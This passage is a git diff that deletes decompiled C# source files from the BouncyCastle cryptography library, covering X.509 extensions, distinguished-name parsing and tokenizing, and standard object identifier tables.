(obj is Asn1Sequence) - { - return new X509Extensions((Asn1Sequence)obj); - } - if (obj is Asn1TaggedObject) - { - return GetInstance(((Asn1TaggedObject)obj).GetObject()); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private X509Extensions(Asn1Sequence seq) - { - ordering = Platform.CreateArrayList(); - foreach (Asn1Encodable item in seq) - { - Asn1Sequence instance = Asn1Sequence.GetInstance(item.ToAsn1Object()); - if (instance.Count < 2 || instance.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + instance.Count); - } - DerObjectIdentifier instance2 = DerObjectIdentifier.GetInstance(instance[0].ToAsn1Object()); - bool critical = instance.Count == 3 && DerBoolean.GetInstance(instance[1].ToAsn1Object()).IsTrue; - Asn1OctetString instance3 = Asn1OctetString.GetInstance(instance[instance.Count - 1].ToAsn1Object()); - if (extensions.Contains(instance2)) - { - throw new ArgumentException("repeated extension found: " + instance2); - } - extensions.Add(instance2, new X509Extension(critical, instance3)); - ordering.Add(instance2); - } - } - - public X509Extensions(IDictionary extensions) - : this(null, extensions) - { - } - - public X509Extensions(IList ordering, IDictionary extensions) - { - if (ordering == null) - { - this.ordering = Platform.CreateArrayList(extensions.Keys); - } - else - { - this.ordering = Platform.CreateArrayList(ordering); - } - foreach (DerObjectIdentifier item in this.ordering) - { - this.extensions.Add(item, (X509Extension)extensions[item]); - } - } - - public X509Extensions(IList oids, IList values) - { - ordering = Platform.CreateArrayList(oids); - int num = 0; - foreach (DerObjectIdentifier item in ordering) - { - extensions.Add(item, (X509Extension)values[num++]); - } - } - - [Obsolete] - public X509Extensions(Hashtable extensions) - : this(null, extensions) - { - } - - [Obsolete] - public X509Extensions(ArrayList ordering, Hashtable extensions) - { - if (ordering == null) - { - this.ordering = Platform.CreateArrayList(extensions.Keys); - } - else - { - this.ordering = Platform.CreateArrayList(ordering); - } - foreach (DerObjectIdentifier item in this.ordering) - { - this.extensions.Add(item, (X509Extension)extensions[item]); - } - } - - [Obsolete] - public X509Extensions(ArrayList oids, ArrayList values) - { - ordering = Platform.CreateArrayList(oids); - int num = 0; - foreach (DerObjectIdentifier item in ordering) - { - extensions.Add(item, (X509Extension)values[num++]); - } - } - - [Obsolete("Use ExtensionOids IEnumerable property")] - public IEnumerator Oids() - { - return ExtensionOids.GetEnumerator(); - } - - public X509Extension GetExtension(DerObjectIdentifier oid) - { - return (X509Extension)extensions[oid]; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (DerObjectIdentifier item in ordering) - { - X509Extension x509Extension = (X509Extension)extensions[item]; - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(item); - if (x509Extension.IsCritical) - { - asn1EncodableVector2.Add(DerBoolean.True); - } - asn1EncodableVector2.Add(x509Extension.Value); - asn1EncodableVector.Add(new DerSequence(asn1EncodableVector2)); - } - return new DerSequence(asn1EncodableVector); - } - - public bool Equivalent(X509Extensions other) - { - if (extensions.Count != other.extensions.Count) - { - return false; - } - foreach (DerObjectIdentifier key in extensions.Keys) - { - if (!extensions[key].Equals(other.extensions[key])) - { - return false; - } - } - return true; - } - - public DerObjectIdentifier[] GetExtensionOids() - { - return ToOidArray(ordering); - } - - public DerObjectIdentifier[] GetNonCriticalExtensionOids() - { - return GetExtensionOids(isCritical: false); - } - - public DerObjectIdentifier[] GetCriticalExtensionOids() - { - return GetExtensionOids(isCritical: true); - } - - private DerObjectIdentifier[] GetExtensionOids(bool isCritical) - { - IList list = Platform.CreateArrayList(); - foreach (DerObjectIdentifier item in ordering) - { - X509Extension x509Extension = (X509Extension)extensions[item]; - if (x509Extension.IsCritical == isCritical) - { - list.Add(item); - } - } - return ToOidArray(list); - } - - private static DerObjectIdentifier[] ToOidArray(IList oids) - { - DerObjectIdentifier[] array = new DerObjectIdentifier[oids.Count]; - oids.CopyTo(array, 0); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509ExtensionsGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509ExtensionsGenerator.cs deleted file mode 100644 index ef74db8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509ExtensionsGenerator.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class X509ExtensionsGenerator -{ - private IDictionary extensions = Platform.CreateHashtable(); - - private IList extOrdering = Platform.CreateArrayList(); - - public bool IsEmpty => extOrdering.Count < 1; - - public void Reset() - { - extensions = Platform.CreateHashtable(); - extOrdering = Platform.CreateArrayList(); - } - - public void AddExtension(DerObjectIdentifier oid, bool critical, Asn1Encodable extValue) - { - byte[] derEncoded; - try - { - derEncoded = extValue.GetDerEncoded(); - } - catch (Exception ex) - { - throw new ArgumentException("error encoding value: " + ex); - } - AddExtension(oid, critical, derEncoded); - } - - public void AddExtension(DerObjectIdentifier oid, bool critical, byte[] extValue) - { - if (extensions.Contains(oid)) - { - throw new ArgumentException(string.Concat("extension ", oid, " already added")); - } - extOrdering.Add(oid); - extensions.Add(oid, new X509Extension(critical, new DerOctetString(extValue))); - } - - public X509Extensions Generate() - { - return new X509Extensions(extOrdering, extensions); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Name.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Name.cs deleted file mode 100644 index b6ea1eb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509Name.cs +++ /dev/null @@ -1,724 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using System.Text; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.X509; - -public class X509Name : Asn1Encodable -{ - public static readonly DerObjectIdentifier C; - - public static readonly DerObjectIdentifier O; - - public static readonly DerObjectIdentifier OU; - - public static readonly DerObjectIdentifier T; - - public static readonly DerObjectIdentifier CN; - - public static readonly DerObjectIdentifier Street; - - public static readonly DerObjectIdentifier SerialNumber; - - public static readonly DerObjectIdentifier L; - - public static readonly DerObjectIdentifier ST; - - public static readonly DerObjectIdentifier Surname; - - public static readonly DerObjectIdentifier GivenName; - - public static readonly DerObjectIdentifier Initials; - - public static readonly DerObjectIdentifier Generation; - - public static readonly DerObjectIdentifier UniqueIdentifier; - - public static readonly DerObjectIdentifier BusinessCategory; - - public static readonly DerObjectIdentifier PostalCode; - - public static readonly DerObjectIdentifier DnQualifier; - - public static readonly DerObjectIdentifier Pseudonym; - - public static readonly DerObjectIdentifier DateOfBirth; - - public static readonly DerObjectIdentifier PlaceOfBirth; - - public static readonly DerObjectIdentifier Gender; - - public static readonly DerObjectIdentifier CountryOfCitizenship; - - public static readonly DerObjectIdentifier CountryOfResidence; - - public static readonly DerObjectIdentifier NameAtBirth; - - public static readonly DerObjectIdentifier PostalAddress; - - public static readonly DerObjectIdentifier DmdName; - - public static readonly DerObjectIdentifier TelephoneNumber; - - public static readonly DerObjectIdentifier OrganizationIdentifier; - - public static readonly DerObjectIdentifier Name; - - public static readonly DerObjectIdentifier EmailAddress; - - public static readonly DerObjectIdentifier UnstructuredName; - - public static readonly DerObjectIdentifier UnstructuredAddress; - - public static readonly DerObjectIdentifier E; - - public static readonly DerObjectIdentifier DC; - - public static readonly DerObjectIdentifier UID; - - private static readonly bool[] defaultReverse; - - public static readonly Hashtable DefaultSymbols; - - public static readonly Hashtable RFC2253Symbols; - - public static readonly Hashtable RFC1779Symbols; - - public static readonly Hashtable DefaultLookup; - - private readonly IList ordering = Platform.CreateArrayList(); - - private readonly X509NameEntryConverter converter; - - private IList values = Platform.CreateArrayList(); - - private IList added = Platform.CreateArrayList(); - - private Asn1Sequence seq; - - public static bool DefaultReverse - { - get - { - return defaultReverse[0]; - } - set - { - defaultReverse[0] = value; - } - } - - static X509Name() - { - C = new DerObjectIdentifier("2.5.4.6"); - O = new DerObjectIdentifier("2.5.4.10"); - OU = new DerObjectIdentifier("2.5.4.11"); - T = new DerObjectIdentifier("2.5.4.12"); - CN = new DerObjectIdentifier("2.5.4.3"); - Street = new DerObjectIdentifier("2.5.4.9"); - SerialNumber = new DerObjectIdentifier("2.5.4.5"); - L = new DerObjectIdentifier("2.5.4.7"); - ST = new DerObjectIdentifier("2.5.4.8"); - Surname = new DerObjectIdentifier("2.5.4.4"); - GivenName = new DerObjectIdentifier("2.5.4.42"); - Initials = new DerObjectIdentifier("2.5.4.43"); - Generation = new DerObjectIdentifier("2.5.4.44"); - UniqueIdentifier = new DerObjectIdentifier("2.5.4.45"); - BusinessCategory = new DerObjectIdentifier("2.5.4.15"); - PostalCode = new DerObjectIdentifier("2.5.4.17"); - DnQualifier = new DerObjectIdentifier("2.5.4.46"); - Pseudonym = new DerObjectIdentifier("2.5.4.65"); - DateOfBirth = new DerObjectIdentifier("1.3.6.1.5.5.7.9.1"); - PlaceOfBirth = new DerObjectIdentifier("1.3.6.1.5.5.7.9.2"); - Gender = new DerObjectIdentifier("1.3.6.1.5.5.7.9.3"); - CountryOfCitizenship = new DerObjectIdentifier("1.3.6.1.5.5.7.9.4"); - CountryOfResidence = new DerObjectIdentifier("1.3.6.1.5.5.7.9.5"); - NameAtBirth = new DerObjectIdentifier("1.3.36.8.3.14"); - PostalAddress = new DerObjectIdentifier("2.5.4.16"); - DmdName = new DerObjectIdentifier("2.5.4.54"); - TelephoneNumber = X509ObjectIdentifiers.id_at_telephoneNumber; - OrganizationIdentifier = X509ObjectIdentifiers.id_at_organizationIdentifier; - Name = X509ObjectIdentifiers.id_at_name; - EmailAddress = PkcsObjectIdentifiers.Pkcs9AtEmailAddress; - UnstructuredName = PkcsObjectIdentifiers.Pkcs9AtUnstructuredName; - UnstructuredAddress = PkcsObjectIdentifiers.Pkcs9AtUnstructuredAddress; - E = EmailAddress; - DC = new DerObjectIdentifier("0.9.2342.19200300.100.1.25"); - UID = new DerObjectIdentifier("0.9.2342.19200300.100.1.1"); - bool[] array = new bool[1]; - defaultReverse = array; - DefaultSymbols = new Hashtable(); - RFC2253Symbols = new Hashtable(); - RFC1779Symbols = new Hashtable(); - DefaultLookup = new Hashtable(); - DefaultSymbols.Add(C, "C"); - DefaultSymbols.Add(O, "O"); - DefaultSymbols.Add(T, "T"); - DefaultSymbols.Add(OU, "OU"); - DefaultSymbols.Add(CN, "CN"); - DefaultSymbols.Add(L, "L"); - DefaultSymbols.Add(ST, "ST"); - DefaultSymbols.Add(SerialNumber, "SERIALNUMBER"); - DefaultSymbols.Add(EmailAddress, "E"); - DefaultSymbols.Add(DC, "DC"); - DefaultSymbols.Add(UID, "UID"); - DefaultSymbols.Add(Street, "STREET"); - DefaultSymbols.Add(Surname, "SURNAME"); - DefaultSymbols.Add(GivenName, "GIVENNAME"); - DefaultSymbols.Add(Initials, "INITIALS"); - DefaultSymbols.Add(Generation, "GENERATION"); - DefaultSymbols.Add(UnstructuredAddress, "unstructuredAddress"); - DefaultSymbols.Add(UnstructuredName, "unstructuredName"); - DefaultSymbols.Add(UniqueIdentifier, "UniqueIdentifier"); - DefaultSymbols.Add(DnQualifier, "DN"); - DefaultSymbols.Add(Pseudonym, "Pseudonym"); - DefaultSymbols.Add(PostalAddress, "PostalAddress"); - DefaultSymbols.Add(NameAtBirth, "NameAtBirth"); - DefaultSymbols.Add(CountryOfCitizenship, "CountryOfCitizenship"); - DefaultSymbols.Add(CountryOfResidence, "CountryOfResidence"); - DefaultSymbols.Add(Gender, "Gender"); - DefaultSymbols.Add(PlaceOfBirth, "PlaceOfBirth"); - DefaultSymbols.Add(DateOfBirth, "DateOfBirth"); - DefaultSymbols.Add(PostalCode, "PostalCode"); - DefaultSymbols.Add(BusinessCategory, "BusinessCategory"); - DefaultSymbols.Add(TelephoneNumber, "TelephoneNumber"); - RFC2253Symbols.Add(C, "C"); - RFC2253Symbols.Add(O, "O"); - RFC2253Symbols.Add(OU, "OU"); - RFC2253Symbols.Add(CN, "CN"); - RFC2253Symbols.Add(L, "L"); - RFC2253Symbols.Add(ST, "ST"); - RFC2253Symbols.Add(Street, "STREET"); - RFC2253Symbols.Add(DC, "DC"); - RFC2253Symbols.Add(UID, "UID"); - RFC1779Symbols.Add(C, "C"); - RFC1779Symbols.Add(O, "O"); - RFC1779Symbols.Add(OU, "OU"); - RFC1779Symbols.Add(CN, "CN"); - RFC1779Symbols.Add(L, "L"); - RFC1779Symbols.Add(ST, "ST"); - RFC1779Symbols.Add(Street, "STREET"); - DefaultLookup.Add("c", C); - DefaultLookup.Add("o", O); - DefaultLookup.Add("t", T); - DefaultLookup.Add("ou", OU); - DefaultLookup.Add("cn", CN); - DefaultLookup.Add("l", L); - DefaultLookup.Add("st", ST); - DefaultLookup.Add("serialnumber", SerialNumber); - DefaultLookup.Add("street", Street); - DefaultLookup.Add("emailaddress", E); - DefaultLookup.Add("dc", DC); - DefaultLookup.Add("e", E); - DefaultLookup.Add("uid", UID); - DefaultLookup.Add("surname", Surname); - DefaultLookup.Add("givenname", GivenName); - DefaultLookup.Add("initials", Initials); - DefaultLookup.Add("generation", Generation); - DefaultLookup.Add("unstructuredaddress", UnstructuredAddress); - DefaultLookup.Add("unstructuredname", UnstructuredName); - DefaultLookup.Add("uniqueidentifier", UniqueIdentifier); - DefaultLookup.Add("dn", DnQualifier); - DefaultLookup.Add("pseudonym", Pseudonym); - DefaultLookup.Add("postaladdress", PostalAddress); - DefaultLookup.Add("nameofbirth", NameAtBirth); - DefaultLookup.Add("countryofcitizenship", CountryOfCitizenship); - DefaultLookup.Add("countryofresidence", CountryOfResidence); - DefaultLookup.Add("gender", Gender); - DefaultLookup.Add("placeofbirth", PlaceOfBirth); - DefaultLookup.Add("dateofbirth", DateOfBirth); - DefaultLookup.Add("postalcode", PostalCode); - DefaultLookup.Add("businesscategory", BusinessCategory); - DefaultLookup.Add("telephonenumber", TelephoneNumber); - } - - public static X509Name GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static X509Name GetInstance(object obj) - { - if (obj == null || obj is X509Name) - { - return (X509Name)obj; - } - if (obj != null) - { - return new X509Name(Asn1Sequence.GetInstance(obj)); - } - throw new ArgumentException("null object in factory", "obj"); - } - - protected X509Name() - { - } - - protected X509Name(Asn1Sequence seq) - { - this.seq = seq; - foreach (Asn1Encodable item in seq) - { - Asn1Set instance = Asn1Set.GetInstance(item.ToAsn1Object()); - for (int i = 0; i < instance.Count; i++) - { - Asn1Sequence instance2 = Asn1Sequence.GetInstance(instance[i].ToAsn1Object()); - if (instance2.Count != 2) - { - throw new ArgumentException("badly sized pair"); - } - ordering.Add(DerObjectIdentifier.GetInstance(instance2[0].ToAsn1Object())); - Asn1Object asn1Object = instance2[1].ToAsn1Object(); - if (asn1Object is IAsn1String && !(asn1Object is DerUniversalString)) - { - string text = ((IAsn1String)asn1Object).GetString(); - if (Platform.StartsWith(text, "#")) - { - text = "\\" + text; - } - values.Add(text); - } - else - { - values.Add("#" + Hex.ToHexString(asn1Object.GetEncoded())); - } - added.Add(i != 0); - } - } - } - - public X509Name(IList ordering, IDictionary attributes) - : this(ordering, attributes, new X509DefaultEntryConverter()) - { - } - - public X509Name(IList ordering, IDictionary attributes, X509NameEntryConverter converter) - { - this.converter = converter; - foreach (DerObjectIdentifier item in ordering) - { - object obj = attributes[item]; - if (obj == null) - { - throw new ArgumentException(string.Concat("No attribute for object id - ", item, " - passed to distinguished name")); - } - this.ordering.Add(item); - added.Add(false); - values.Add(obj); - } - } - - public X509Name(IList oids, IList values) - : this(oids, values, new X509DefaultEntryConverter()) - { - } - - public X509Name(IList oids, IList values, X509NameEntryConverter converter) - { - this.converter = converter; - if (oids.Count != values.Count) - { - throw new ArgumentException("'oids' must be same length as 'values'."); - } - for (int i = 0; i < oids.Count; i++) - { - ordering.Add(oids[i]); - this.values.Add(values[i]); - added.Add(false); - } - } - - public X509Name(string dirName) - : this(DefaultReverse, DefaultLookup, dirName) - { - } - - public X509Name(string dirName, X509NameEntryConverter converter) - : this(DefaultReverse, DefaultLookup, dirName, converter) - { - } - - public X509Name(bool reverse, string dirName) - : this(reverse, DefaultLookup, dirName) - { - } - - public X509Name(bool reverse, string dirName, X509NameEntryConverter converter) - : this(reverse, DefaultLookup, dirName, converter) - { - } - - public X509Name(bool reverse, IDictionary lookUp, string dirName) - : this(reverse, lookUp, dirName, new X509DefaultEntryConverter()) - { - } - - private DerObjectIdentifier DecodeOid(string name, IDictionary lookUp) - { - if (Platform.StartsWith(Platform.ToUpperInvariant(name), "OID.")) - { - return new DerObjectIdentifier(name.Substring(4)); - } - if (name[0] >= '0' && name[0] <= '9') - { - return new DerObjectIdentifier(name); - } - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)lookUp[Platform.ToLowerInvariant(name)]; - if (derObjectIdentifier == null) - { - throw new ArgumentException("Unknown object id - " + name + " - passed to distinguished name"); - } - return derObjectIdentifier; - } - - public X509Name(bool reverse, IDictionary lookUp, string dirName, X509NameEntryConverter converter) - { - this.converter = converter; - X509NameTokenizer x509NameTokenizer = new X509NameTokenizer(dirName); - while (x509NameTokenizer.HasMoreTokens()) - { - string text = x509NameTokenizer.NextToken(); - int num = text.IndexOf('='); - if (num == -1) - { - throw new ArgumentException("badly formated directory string"); - } - string name = text.Substring(0, num); - string text2 = text.Substring(num + 1); - DerObjectIdentifier value = DecodeOid(name, lookUp); - if (text2.IndexOf('+') > 0) - { - X509NameTokenizer x509NameTokenizer2 = new X509NameTokenizer(text2, '+'); - string value2 = x509NameTokenizer2.NextToken(); - ordering.Add(value); - values.Add(value2); - added.Add(false); - while (x509NameTokenizer2.HasMoreTokens()) - { - string text3 = x509NameTokenizer2.NextToken(); - int num2 = text3.IndexOf('='); - string name2 = text3.Substring(0, num2); - string value3 = text3.Substring(num2 + 1); - ordering.Add(DecodeOid(name2, lookUp)); - values.Add(value3); - added.Add(true); - } - } - else - { - ordering.Add(value); - values.Add(text2); - added.Add(false); - } - } - if (!reverse) - { - return; - } - IList list = Platform.CreateArrayList(); - IList list2 = Platform.CreateArrayList(); - IList list3 = Platform.CreateArrayList(); - int num3 = 1; - for (int i = 0; i < ordering.Count; i++) - { - if (!(bool)added[i]) - { - num3 = 0; - } - int index = num3++; - list.Insert(index, ordering[i]); - list2.Insert(index, values[i]); - list3.Insert(index, added[i]); - } - ordering = list; - values = list2; - added = list3; - } - - public IList GetOidList() - { - return Platform.CreateArrayList(ordering); - } - - public IList GetValueList() - { - return GetValueList(null); - } - - public IList GetValueList(DerObjectIdentifier oid) - { - IList list = Platform.CreateArrayList(); - for (int i = 0; i != values.Count; i++) - { - if (oid == null || oid.Equals(ordering[i])) - { - string text = (string)values[i]; - if (Platform.StartsWith(text, "\\#")) - { - text = text.Substring(1); - } - list.Add(text); - } - } - return list; - } - - public override Asn1Object ToAsn1Object() - { - if (seq == null) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - DerObjectIdentifier derObjectIdentifier = null; - for (int i = 0; i != ordering.Count; i++) - { - DerObjectIdentifier derObjectIdentifier2 = (DerObjectIdentifier)ordering[i]; - string value = (string)values[i]; - if (derObjectIdentifier != null && !(bool)added[i]) - { - asn1EncodableVector.Add(new DerSet(asn1EncodableVector2)); - asn1EncodableVector2 = new Asn1EncodableVector(); - } - asn1EncodableVector2.Add(new DerSequence(derObjectIdentifier2, converter.GetConvertedValue(derObjectIdentifier2, value))); - derObjectIdentifier = derObjectIdentifier2; - } - asn1EncodableVector.Add(new DerSet(asn1EncodableVector2)); - seq = new DerSequence(asn1EncodableVector); - } - return seq; - } - - public bool Equivalent(X509Name other, bool inOrder) - { - if (!inOrder) - { - return Equivalent(other); - } - if (other == null) - { - return false; - } - if (other == this) - { - return true; - } - int count = ordering.Count; - if (count != other.ordering.Count) - { - return false; - } - for (int i = 0; i < count; i++) - { - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)ordering[i]; - DerObjectIdentifier obj = (DerObjectIdentifier)other.ordering[i]; - if (!derObjectIdentifier.Equals(obj)) - { - return false; - } - string s = (string)values[i]; - string s2 = (string)other.values[i]; - if (!equivalentStrings(s, s2)) - { - return false; - } - } - return true; - } - - public bool Equivalent(X509Name other) - { - if (other == null) - { - return false; - } - if (other == this) - { - return true; - } - int count = ordering.Count; - if (count != other.ordering.Count) - { - return false; - } - bool[] array = new bool[count]; - int num; - int num2; - int num3; - if (ordering[0].Equals(other.ordering[0])) - { - num = 0; - num2 = count; - num3 = 1; - } - else - { - num = count - 1; - num2 = -1; - num3 = -1; - } - for (int i = num; i != num2; i += num3) - { - bool flag = false; - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)ordering[i]; - string s = (string)values[i]; - for (int j = 0; j < count; j++) - { - if (array[j]) - { - continue; - } - DerObjectIdentifier obj = (DerObjectIdentifier)other.ordering[j]; - if (derObjectIdentifier.Equals(obj)) - { - string s2 = (string)other.values[j]; - if (equivalentStrings(s, s2)) - { - array[j] = true; - flag = true; - break; - } - } - } - if (!flag) - { - return false; - } - } - return true; - } - - private static bool equivalentStrings(string s1, string s2) - { - string text = canonicalize(s1); - string text2 = canonicalize(s2); - if (!text.Equals(text2)) - { - text = stripInternalSpaces(text); - text2 = stripInternalSpaces(text2); - if (!text.Equals(text2)) - { - return false; - } - } - return true; - } - - private static string canonicalize(string s) - { - string text = Platform.ToLowerInvariant(s).Trim(); - if (Platform.StartsWith(text, "#")) - { - Asn1Object asn1Object = decodeObject(text); - if (asn1Object is IAsn1String) - { - text = Platform.ToLowerInvariant(((IAsn1String)asn1Object).GetString()).Trim(); - } - } - return text; - } - - private static Asn1Object decodeObject(string v) - { - try - { - return Asn1Object.FromByteArray(Hex.Decode(v.Substring(1))); - } - catch (IOException ex) - { - throw new InvalidOperationException("unknown encoding in name: " + ex.Message, ex); - } - } - - private static string stripInternalSpaces(string str) - { - StringBuilder stringBuilder = new StringBuilder(); - if (str.Length != 0) - { - char c = str[0]; - stringBuilder.Append(c); - for (int i = 1; i < str.Length; i++) - { - char c2 = str[i]; - if (c != ' ' || c2 != ' ') - { - stringBuilder.Append(c2); - } - c = c2; - } - } - return stringBuilder.ToString(); - } - - private void AppendValue(StringBuilder buf, IDictionary oidSymbols, DerObjectIdentifier oid, string val) - { - string text = (string)oidSymbols[oid]; - if (text != null) - { - buf.Append(text); - } - else - { - buf.Append(oid.Id); - } - buf.Append('='); - int i = buf.Length; - buf.Append(val); - int num = buf.Length; - if (Platform.StartsWith(val, "\\#")) - { - i += 2; - } - for (; i != num; i++) - { - if (buf[i] == ',' || buf[i] == '"' || buf[i] == '\\' || buf[i] == '+' || buf[i] == '=' || buf[i] == '<' || buf[i] == '>' || buf[i] == ';') - { - buf.Insert(i++, "\\"); - num++; - } - } - } - - public string ToString(bool reverse, IDictionary oidSymbols) - { - ArrayList arrayList = new ArrayList(); - StringBuilder stringBuilder = null; - for (int i = 0; i < ordering.Count; i++) - { - if ((bool)added[i]) - { - stringBuilder.Append('+'); - AppendValue(stringBuilder, oidSymbols, (DerObjectIdentifier)ordering[i], (string)values[i]); - } - else - { - stringBuilder = new StringBuilder(); - AppendValue(stringBuilder, oidSymbols, (DerObjectIdentifier)ordering[i], (string)values[i]); - arrayList.Add(stringBuilder); - } - } - if (reverse) - { - arrayList.Reverse(); - } - StringBuilder stringBuilder2 = new StringBuilder(); - if (arrayList.Count > 0) - { - stringBuilder2.Append(arrayList[0].ToString()); - for (int j = 1; j < arrayList.Count; j++) - { - stringBuilder2.Append(','); - stringBuilder2.Append(arrayList[j].ToString()); - } - } - return stringBuilder2.ToString(); - } - - public override string ToString() - { - return ToString(DefaultReverse, DefaultSymbols); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509NameEntryConverter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509NameEntryConverter.cs deleted file mode 100644 index 79d6df3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509NameEntryConverter.cs +++ /dev/null @@ -1,19 +0,0 @@ -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.X509; - -public abstract class X509NameEntryConverter -{ - protected Asn1Object ConvertHexEncoded(string hexString, int offset) - { - string data = hexString.Substring(offset); - return Asn1Object.FromByteArray(Hex.Decode(data)); - } - - protected bool CanBePrintable(string str) - { - return DerPrintableString.IsPrintableString(str); - } - - public abstract Asn1Object GetConvertedValue(DerObjectIdentifier oid, string value); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509NameTokenizer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509NameTokenizer.cs deleted file mode 100644 index 7cba081..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509NameTokenizer.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System.Text; - -namespace Org.BouncyCastle.Asn1.X509; - -public class X509NameTokenizer -{ - private string value; - - private int index; - - private char separator; - - private StringBuilder buffer = new StringBuilder(); - - public X509NameTokenizer(string oid) - : this(oid, ',') - { - } - - public X509NameTokenizer(string oid, char separator) - { - value = oid; - index = -1; - this.separator = separator; - } - - public bool HasMoreTokens() - { - return index != value.Length; - } - - public string NextToken() - { - if (index == value.Length) - { - return null; - } - int i = index + 1; - bool flag = false; - bool flag2 = false; - buffer.Remove(0, buffer.Length); - for (; i != value.Length; i++) - { - char c = value[i]; - if (c == '"') - { - if (!flag2) - { - flag = !flag; - continue; - } - buffer.Append(c); - flag2 = false; - } - else if (flag2 || flag) - { - if (c == '#' && buffer[buffer.Length - 1] == '=') - { - buffer.Append('\\'); - } - else if (c == '+' && separator != '+') - { - buffer.Append('\\'); - } - buffer.Append(c); - flag2 = false; - } - else if (c == '\\') - { - flag2 = true; - } - else - { - if (c == separator) - { - break; - } - buffer.Append(c); - } - } - index = i; - return buffer.ToString().Trim(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509ObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509ObjectIdentifiers.cs deleted file mode 100644 index 01c0b44..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/X509ObjectIdentifiers.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public abstract class X509ObjectIdentifiers -{ - internal const string ID = "2.5.4"; - - public static readonly DerObjectIdentifier CommonName = new DerObjectIdentifier("2.5.4.3"); - - public static readonly DerObjectIdentifier CountryName = new DerObjectIdentifier("2.5.4.6"); - - public static readonly DerObjectIdentifier LocalityName = new DerObjectIdentifier("2.5.4.7"); - - public static readonly DerObjectIdentifier StateOrProvinceName = new DerObjectIdentifier("2.5.4.8"); - - public static readonly DerObjectIdentifier Organization = new DerObjectIdentifier("2.5.4.10"); - - public static readonly DerObjectIdentifier OrganizationalUnitName = new DerObjectIdentifier("2.5.4.11"); - - public static readonly DerObjectIdentifier id_at_telephoneNumber = new DerObjectIdentifier("2.5.4.20"); - - public static readonly DerObjectIdentifier id_at_name = new DerObjectIdentifier("2.5.4.41"); - - public static readonly DerObjectIdentifier id_at_organizationIdentifier = new DerObjectIdentifier("2.5.4.97"); - - public static readonly DerObjectIdentifier IdSha1 = new DerObjectIdentifier("1.3.14.3.2.26"); - - public static readonly DerObjectIdentifier RipeMD160 = new DerObjectIdentifier("1.3.36.3.2.1"); - - public static readonly DerObjectIdentifier RipeMD160WithRsaEncryption = new DerObjectIdentifier("1.3.36.3.3.1.2"); - - public static readonly DerObjectIdentifier IdEARsa = new DerObjectIdentifier("2.5.8.1.1"); - - public static readonly DerObjectIdentifier IdPkix = new DerObjectIdentifier("1.3.6.1.5.5.7"); - - public static readonly DerObjectIdentifier IdPE = new DerObjectIdentifier(string.Concat(IdPkix, ".1")); - - public static readonly DerObjectIdentifier IdAD = new DerObjectIdentifier(string.Concat(IdPkix, ".48")); - - public static readonly DerObjectIdentifier IdADCAIssuers = new DerObjectIdentifier(string.Concat(IdAD, ".2")); - - public static readonly DerObjectIdentifier IdADOcsp = new DerObjectIdentifier(string.Concat(IdAD, ".1")); - - public static readonly DerObjectIdentifier OcspAccessMethod = IdADOcsp; - - public static readonly DerObjectIdentifier CrlAccessMethod = IdADCAIssuers; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHDomainParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHDomainParameters.cs deleted file mode 100644 index 25c8528..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHDomainParameters.cs +++ /dev/null @@ -1,112 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X9; - -public class DHDomainParameters : Asn1Encodable -{ - private readonly DerInteger p; - - private readonly DerInteger g; - - private readonly DerInteger q; - - private readonly DerInteger j; - - private readonly DHValidationParms validationParms; - - public DerInteger P => p; - - public DerInteger G => g; - - public DerInteger Q => q; - - public DerInteger J => j; - - public DHValidationParms ValidationParms => validationParms; - - public static DHDomainParameters GetInstance(Asn1TaggedObject 